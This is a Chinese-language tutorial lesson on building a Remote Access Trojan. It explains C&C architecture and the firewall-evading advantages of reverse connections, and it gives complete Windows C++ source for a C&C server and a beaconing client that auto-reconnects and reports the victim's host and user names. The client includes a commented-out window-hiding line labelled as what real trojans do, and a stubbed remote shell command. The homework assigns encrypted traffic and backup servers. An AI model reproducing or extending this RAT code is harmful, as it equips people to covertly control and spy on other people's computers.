远程控制开发基础
1、通信架构与客户端上线功能
1、课程目标
- 理解C&C(Command & Control)通信架构
- 掌握远程控制的基本通信模式
- 实现客户端主动上线功能
- 设计可扩展的通信协议
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| C&C | Command and Control | 命令与控制,远程管理服务器 |
| RAT | Remote Access Trojan | 远程访问木马 |
| Beacon | 信标 | 客户端定期与服务器通信 |
| Heartbeat | 心跳 | 保持连接活跃的定期消息 |
| Reverse Connection | 反向连接 | 客户端主动连接服务器 |
3、技术原理
1. 通信架构模式
正向连接 (Bind):
Server → Client (服务器连接客户端)
- 客户端监听端口
- 需要客户端IP和开放端口
- 容易被防火墙阻挡
反向连接 (Reverse):
Client → Server (客户端连接服务器)
- 服务器监听端口
- 客户端主动连接
- 更容易穿透防火墙 ✓ (推荐)
2. 系统架构
┌─────────────────────────────────────────────────────────────────┐
│ 控制端 (Server) │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ 通信模块 │ │ 命令解析 │ │ 数据展示 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
└──────────────────────────┬──────────────────────────────────────┘
│ TCP/HTTP/...
┌─────────────────┼─────────────────┐
│ │ │
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Client1 │ │ Client2 │ │ Client3 │
│ (被控端) │ │ (被控端) │ │ (被控端) │
└─────────┘ └─────────┘ └─────────┘
3. 通信协议设计
// 消息头结构
typedef struct _MSG_HEADER {
DWORD magic; // 魔数标识
DWORD cmdType; // 命令类型
DWORD dataLen; // 数据长度
DWORD clientId; // 客户端ID
} MSG_HEADER;
// 命令类型
#define CMD_ONLINE 0x0001 // 上线
#define CMD_HEARTBEAT 0x0002 // 心跳
#define CMD_SYSINFO 0x0003 // 系统信息
#define CMD_PROCLIST 0x0004 // 进程列表
#define CMD_FILELIST 0x0005 // 文件列表
#define CMD_DOWNLOAD 0x0006 // 下载文件
#define CMD_UPLOAD 0x0007 // 上传文件
#define CMD_SHELL 0x0008 // Shell命令
#define CMD_OFFLINE 0x00FF // 下线
4、代码实现
1. 服务端(控制端)
// server.cpp
// C&C服务端
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <vector>
#include <map>
#include <thread>
#include <mutex>
#pragma comment(lib, "ws2_32.lib")
#define MAGIC_NUMBER 0x52415400 // "RAT\0"
#define SERVER_PORT 8888
#define MAX_CLIENTS 100
// 消息头
#pragma pack(push, 1)
typedef struct _MSG_HEADER {
DWORD magic;
DWORD cmdType;
DWORD dataLen;
DWORD clientId;
} MSG_HEADER, *PMSG_HEADER;
// 上线信息
typedef struct _ONLINE_INFO {
char computerName[64];
char userName[64];
char osVersion[128];
char ip[32];
DWORD processId;
} ONLINE_INFO, *PONLINE_INFO;
#pragma pack(pop)
// 命令类型
#define CMD_ONLINE 0x0001
#define CMD_HEARTBEAT 0x0002
#define CMD_SYSINFO 0x0003
#define CMD_PROCLIST 0x0004
#define CMD_FILELIST 0x0005
#define CMD_DOWNLOAD 0x0006
#define CMD_UPLOAD 0x0007
#define CMD_SHELL 0x0008
// 客户端信息
typedef struct _CLIENT_INFO {
SOCKET socket;
DWORD clientId;
ONLINE_INFO onlineInfo;
DWORD lastHeartbeat;
bool isAlive;
} CLIENT_INFO, *PCLIENT_INFO;
// 全局变量
std::map<DWORD, CLIENT_INFO> g_clients;
std::mutex g_clientMutex;
DWORD g_nextClientId = 1;
// 发送数据
bool SendData(SOCKET sock, const void* data, int len) {
int sent = 0;
while (sent < len) {
int n = send(sock, (char*)data + sent, len - sent, 0);
if (n <= 0) return false;
sent += n;
}
return true;
}
// 接收数据
bool RecvData(SOCKET sock, void* data, int len) {
int received = 0;
while (received < len) {
int n = recv(sock, (char*)data + received, len - received, 0);
if (n <= 0) return false;
received += n;
}
return true;
}
// 发送命令
bool SendCommand(SOCKET sock, DWORD clientId, DWORD cmdType,
const void* data = NULL, DWORD dataLen = 0) {
MSG_HEADER header;
header.magic = MAGIC_NUMBER;
header.cmdType = cmdType;
header.dataLen = dataLen;
header.clientId = clientId;
if (!SendData(sock, &header, sizeof(header))) return false;
if (dataLen > 0 && data) {
if (!SendData(sock, data, dataLen)) return false;
}
return true;
}
// 处理客户端连接
void HandleClient(SOCKET clientSock, sockaddr_in clientAddr) {
char clientIp[32];
inet_ntop(AF_INET, &clientAddr.sin_addr, clientIp, sizeof(clientIp));
printf("[+] New connection from %s:%d\n", clientIp, ntohs(clientAddr.sin_port));
while (true) {
// 接收消息头
MSG_HEADER header;
if (!RecvData(clientSock, &header, sizeof(header))) {
break;
}
// 验证魔数
if (header.magic != MAGIC_NUMBER) {
printf("[-] Invalid magic number\n");
break;
}
// 接收数据
std::vector<char> data(header.dataLen);
if (header.dataLen > 0) {
if (!RecvData(clientSock, data.data(), header.dataLen)) {
break;
}
}
// 处理命令
switch (header.cmdType) {
case CMD_ONLINE: {
PONLINE_INFO info = (PONLINE_INFO)data.data();
strcpy_s(info->ip, clientIp);
DWORD clientId = g_nextClientId++;
CLIENT_INFO ci;
ci.socket = clientSock;
ci.clientId = clientId;
ci.onlineInfo = *info;
ci.lastHeartbeat = GetTickCount();
ci.isAlive = true;
{
std::lock_guard<std::mutex> lock(g_clientMutex);
g_clients[clientId] = ci;
}
printf("[+] Client %lu online: %s@%s (%s)\n",
clientId, info->userName, info->computerName, info->osVersion);
// 发送确认
SendCommand(clientSock, clientId, CMD_ONLINE);
break;
}
case CMD_HEARTBEAT: {
std::lock_guard<std::mutex> lock(g_clientMutex);
if (g_clients.count(header.clientId)) {
g_clients[header.clientId].lastHeartbeat = GetTickCount();
}
break;
}
case CMD_SYSINFO:
case CMD_PROCLIST:
case CMD_FILELIST:
case CMD_SHELL: {
// 打印接收到的数据
printf("[Client %lu] Response (%lu bytes):\n",
header.clientId, header.dataLen);
if (header.dataLen > 0) {
data.push_back(0);
printf("%s\n", data.data());
}
break;
}
}
}
// 客户端断开
{
std::lock_guard<std::mutex> lock(g_clientMutex);
for (auto& pair : g_clients) {
if (pair.second.socket == clientSock) {
printf("[-] Client %lu offline\n", pair.first);
pair.second.isAlive = false;
break;
}
}
}
closesocket(clientSock);
}
// 显示客户端列表
void ListClients() {
std::lock_guard<std::mutex> lock(g_clientMutex);
printf("\n=== Online Clients ===\n");
printf("%-5s %-20s %-15s %-15s %s\n",
"ID", "Computer", "User", "IP", "Status");
printf("---------------------------------------------------------\n");
for (auto& pair : g_clients) {
if (pair.second.isAlive) {
printf("%-5lu %-20s %-15s %-15s %s\n",
pair.first,
pair.second.onlineInfo.computerName,
pair.second.onlineInfo.userName,
pair.second.onlineInfo.ip,
"Online");
}
}
printf("\n");
}
// 向客户端发送命令
void SendToClient(DWORD clientId, DWORD cmdType, const char* data = NULL) {
std::lock_guard<std::mutex> lock(g_clientMutex);
if (g_clients.count(clientId) == 0 || !g_clients[clientId].isAlive) {
printf("[-] Client %lu not found or offline\n", clientId);
return;
}
SOCKET sock = g_clients[clientId].socket;
DWORD dataLen = data ? (DWORD)strlen(data) : 0;
if (SendCommand(sock, clientId, cmdType, data, dataLen)) {
printf("[+] Command sent to client %lu\n", clientId);
} else {
printf("[-] Failed to send command\n");
}
}
// 命令行处理
void CommandLoop() {
char cmdLine[1024];
printf("\nCommands:\n");
printf(" list - List online clients\n");
printf(" select <id> - Select client\n");
printf(" sysinfo - Get system info\n");
printf(" proclist - Get process list\n");
printf(" filelist <path> - List directory\n");
printf(" shell <cmd> - Execute command\n");
printf(" exit - Exit server\n\n");
DWORD selectedClient = 0;
while (true) {
printf("[%lu]> ", selectedClient);
fgets(cmdLine, sizeof(cmdLine), stdin);
cmdLine[strcspn(cmdLine, "\r\n")] = 0;
if (strlen(cmdLine) == 0) continue;
if (strcmp(cmdLine, "list") == 0) {
ListClients();
}
else if (strncmp(cmdLine, "select ", 7) == 0) {
selectedClient = atoi(cmdLine + 7);
printf("[+] Selected client: %lu\n", selectedClient);
}
else if (strcmp(cmdLine, "sysinfo") == 0) {
SendToClient(selectedClient, CMD_SYSINFO);
}
else if (strcmp(cmdLine, "proclist") == 0) {
SendToClient(selectedClient, CMD_PROCLIST);
}
else if (strncmp(cmdLine, "filelist ", 9) == 0) {
SendToClient(selectedClient, CMD_FILELIST, cmdLine + 9);
}
else if (strncmp(cmdLine, "shell ", 6) == 0) {
SendToClient(selectedClient, CMD_SHELL, cmdLine + 6);
}
else if (strcmp(cmdLine, "exit") == 0) {
break;
}
}
}
int main() {
printf("========================================\n");
printf(" C&C Server \n");
printf("========================================\n\n");
// 初始化Winsock
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
// 创建监听Socket
SOCKET listenSock = socket(AF_INET, SOCK_STREAM, 0);
sockaddr_in serverAddr = {0};
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(SERVER_PORT);
serverAddr.sin_addr.s_addr = INADDR_ANY;
bind(listenSock, (sockaddr*)&serverAddr, sizeof(serverAddr));
listen(listenSock, MAX_CLIENTS);
printf("[+] Server listening on port %d\n", SERVER_PORT);
// 接受连接线程
std::thread acceptThread([&]() {
while (true) {
sockaddr_in clientAddr;
int addrLen = sizeof(clientAddr);
SOCKET clientSock = accept(listenSock, (sockaddr*)&clientAddr, &addrLen);
if (clientSock != INVALID_SOCKET) {
std::thread(HandleClient, clientSock, clientAddr).detach();
}
}
});
acceptThread.detach();
// 命令行交互
CommandLoop();
closesocket(listenSock);
WSACleanup();
return 0;
}
2. 客户端(被控端)
// client.cpp
// 远程控制客户端
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string>
#pragma comment(lib, "ws2_32.lib")
#define MAGIC_NUMBER 0x52415400
#define SERVER_IP "127.0.0.1"
#define SERVER_PORT 8888
#define HEARTBEAT_INTERVAL 30000 // 30秒
#pragma pack(push, 1)
typedef struct _MSG_HEADER {
DWORD magic;
DWORD cmdType;
DWORD dataLen;
DWORD clientId;
} MSG_HEADER;
typedef struct _ONLINE_INFO {
char computerName[64];
char userName[64];
char osVersion[128];
char ip[32];
DWORD processId;
} ONLINE_INFO;
#pragma pack(pop)
#define CMD_ONLINE 0x0001
#define CMD_HEARTBEAT 0x0002
#define CMD_SYSINFO 0x0003
#define CMD_PROCLIST 0x0004
#define CMD_FILELIST 0x0005
#define CMD_DOWNLOAD 0x0006
#define CMD_UPLOAD 0x0007
#define CMD_SHELL 0x0008
SOCKET g_sock = INVALID_SOCKET;
DWORD g_clientId = 0;
// 发送响应
bool SendResponse(DWORD cmdType, const void* data, DWORD dataLen) {
MSG_HEADER header;
header.magic = MAGIC_NUMBER;
header.cmdType = cmdType;
header.dataLen = dataLen;
header.clientId = g_clientId;
if (send(g_sock, (char*)&header, sizeof(header), 0) <= 0) return false;
if (dataLen > 0 && data) {
if (send(g_sock, (char*)data, dataLen, 0) <= 0) return false;
}
return true;
}
// 收集上线信息
void GetOnlineInfo(PONLINE_INFO info) {
memset(info, 0, sizeof(ONLINE_INFO));
DWORD size = sizeof(info->computerName);
GetComputerNameA(info->computerName, &size);
size = sizeof(info->userName);
GetUserNameA(info->userName, &size);
// 获取OS版本
OSVERSIONINFOA osvi = { sizeof(OSVERSIONINFOA) };
// GetVersionExA(&osvi); // 已弃用
sprintf_s(info->osVersion, "Windows");
info->processId = GetCurrentProcessId();
}
// 获取系统信息
std::string GetSystemInfo() {
std::string result;
char buf[1024];
// 计算机名
char computerName[64];
DWORD size = sizeof(computerName);
GetComputerNameA(computerName, &size);
sprintf_s(buf, "Computer: %s\n", computerName);
result += buf;
// 用户名
char userName[64];
size = sizeof(userName);
GetUserNameA(userName, &size);
sprintf_s(buf, "User: %s\n", userName);
result += buf;
// 系统信息
SYSTEM_INFO si;
GetSystemInfo(&si);
sprintf_s(buf, "Processors: %lu\n", si.dwNumberOfProcessors);
result += buf;
// 内存
MEMORYSTATUSEX ms;
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
sprintf_s(buf, "Memory: %llu MB\n", ms.ullTotalPhys / 1024 / 1024);
result += buf;
return result;
}
// 心跳线程
DWORD WINAPI HeartbeatThread(LPVOID param) {
while (g_sock != INVALID_SOCKET) {
Sleep(HEARTBEAT_INTERVAL);
SendResponse(CMD_HEARTBEAT, NULL, 0);
}
return 0;
}
// 连接服务器
bool ConnectToServer() {
g_sock = socket(AF_INET, SOCK_STREAM, 0);
if (g_sock == INVALID_SOCKET) return false;
sockaddr_in serverAddr = {0};
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, SERVER_IP, &serverAddr.sin_addr);
if (connect(g_sock, (sockaddr*)&serverAddr, sizeof(serverAddr)) != 0) {
closesocket(g_sock);
g_sock = INVALID_SOCKET;
return false;
}
return true;
}
// 发送上线包
bool SendOnline() {
ONLINE_INFO info;
GetOnlineInfo(&info);
return SendResponse(CMD_ONLINE, &info, sizeof(info));
}
// 主循环
void MainLoop() {
// 启动心跳
CreateThread(NULL, 0, HeartbeatThread, NULL, 0, NULL);
while (true) {
// 接收命令
MSG_HEADER header;
int n = recv(g_sock, (char*)&header, sizeof(header), 0);
if (n <= 0) break;
if (header.magic != MAGIC_NUMBER) continue;
// 接收数据
std::string data;
if (header.dataLen > 0) {
data.resize(header.dataLen);
recv(g_sock, &data[0], header.dataLen, 0);
}
// 处理命令
switch (header.cmdType) {
case CMD_ONLINE:
g_clientId = header.clientId;
break;
case CMD_SYSINFO: {
std::string info = GetSystemInfo();
SendResponse(CMD_SYSINFO, info.c_str(), (DWORD)info.size());
break;
}
case CMD_SHELL: {
// 将在后续课时实现
break;
}
}
}
}
int main() {
// 隐藏控制台窗口 (实际木马会这样做)
// ShowWindow(GetConsoleWindow(), SW_HIDE);
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
// 持续尝试连接
while (true) {
if (ConnectToServer()) {
printf("[+] Connected to server\n");
if (SendOnline()) {
printf("[+] Online packet sent\n");
MainLoop();
}
closesocket(g_sock);
g_sock = INVALID_SOCKET;
}
Sleep(5000); // 5秒后重连
}
WSACleanup();
return 0;
}
3、课后作业
3.1、作业1:添加加密通信
为通信协议添加XOR或AES加密。
3.2、作业2:实现多服务器支持
客户端支持连接多个备用服务器。
3.3、作业3:添加认证机制
实现简单的客户端认证功能。